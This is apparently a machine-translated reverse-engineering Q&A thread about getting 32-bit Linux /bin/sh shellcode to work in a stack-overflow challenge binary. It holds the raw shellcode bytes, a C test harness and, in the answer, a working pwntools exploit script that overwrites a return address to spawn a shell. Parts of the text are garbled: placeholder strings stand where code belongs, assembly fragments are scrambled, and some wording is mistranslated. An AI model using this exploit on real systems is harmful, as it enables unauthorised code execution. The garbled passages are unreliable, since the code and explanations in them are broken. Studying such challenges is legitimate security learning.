目前正在解决入门的shellcoding挑战,并且难以使Shellcode始终如一地工作。

我正在研究32位Linux二进制文件。我找到了这个shellcode:

http://shell-storm.org/shellcode/files/shellcode-827.php

xor    %eax,%eax
push   %eax
push   
#include<stdio.h>
#include<string.h>

unsigned char code[] = \ 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
x68732f2f push
0xffffd0e4:    push       %ebx
0xffffd0e5:    mov        %esp,%ecx
x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov
SIGSEGV, Segmentation fault
xb,%al int q4312078qx80


第一步,我在一个简单的测试程序中运行了shellcode:

q4312078q

Shellcode在此测试程序中可以很好地工作。当我将shellcode移到实际的挑战二进制文件时,问题就开始了。我可以在GDB中确认:


代码执行被重定向到堆栈中。
shellcode程序集在堆栈中是正确的。

但是,当程序执行到达shellcode中的这两行之一时:

q4312078q

我得到:

q4312078q

我的问题是:为什么在测试程序中运行的shellcode在实际的二进制文件中失败?我该如何解决此问题?

谢谢!

评论

可以共享二进制文件吗?

二进制堆栈是可执行的吗?没有二进制文件本身,我们将无法告诉您确切的问题。

@PawełŁukasik非常感谢您的关注。这是二进制文件的链接:wetransfer.com/downloads/…

@Megabeets谢谢!刚刚在上面的链接中共享了二进制文件。

我已经使用您的shellcode将此bin打包了,没有发现任何问题。您可以发布执行代码重定向的代码吗?

#1 楼

看来您遇到了两个问题。

1)您正在用那些push -es覆盖输入缓冲区,因此为什么堆栈上有一些垃圾,这就是我们的应用程序崩溃的原因。
在执行/ bin / sh的第二次推送之前和之后,看到这两张图片显示了您的程序集。 />

您可以清楚地看到奇数的dasbound操作码,而不是push es。

2)您没有考虑到代码已重定位,因此您的缓冲区并不总是在同一个地方。从gdb运行时,您将具有跳转到缓冲区开头的代码(这是\xc0\xd0\xff\xff的一部分),并且对于gdb会话,这是正确的,因为gdb关闭了ASLR。

您可以通过在gdb中发出以下命令来检查该内容:已打开。


如果通过set disable-randomization off更改它,它也应该在gdb中开始失败,因为缓冲区每次都位于不同的位置。

在为了正确执行此操作,您需要找到缓冲区的位置。这也是为什么在第一条消息中都有提示的原因。
为了弥补这两个问题,我将为此使用pwntools并准备一个脚本:

from pwn import *

context(arch='i386', os='linux')

r = process('./shellcoding.dms')
# read the line that has the info about the address
l = r.recvline()
print l
# extract it
addr = int(l[18:], 16)
#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret
exploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*21 
print "Address is: "+hex(addr)
# add an address to be taken from the stack by ret
exploit += p32(addr) 

r.send(exploit+"\n")
# read the "ok... lets see if you got it..." message
r.recvline()
r.interactive() #pwn


运行此程序应该起作用!

评论


太棒了再次感谢您慷慨地提供帮助。我不知道在shellcode之后与在shellcode之前拥有NOP会产生如此大的影响。 Pwntool代码也很棒。不了解p32()功能,这非常有帮助。继续下一个!

–青铜水獭
18年6月11日在22:58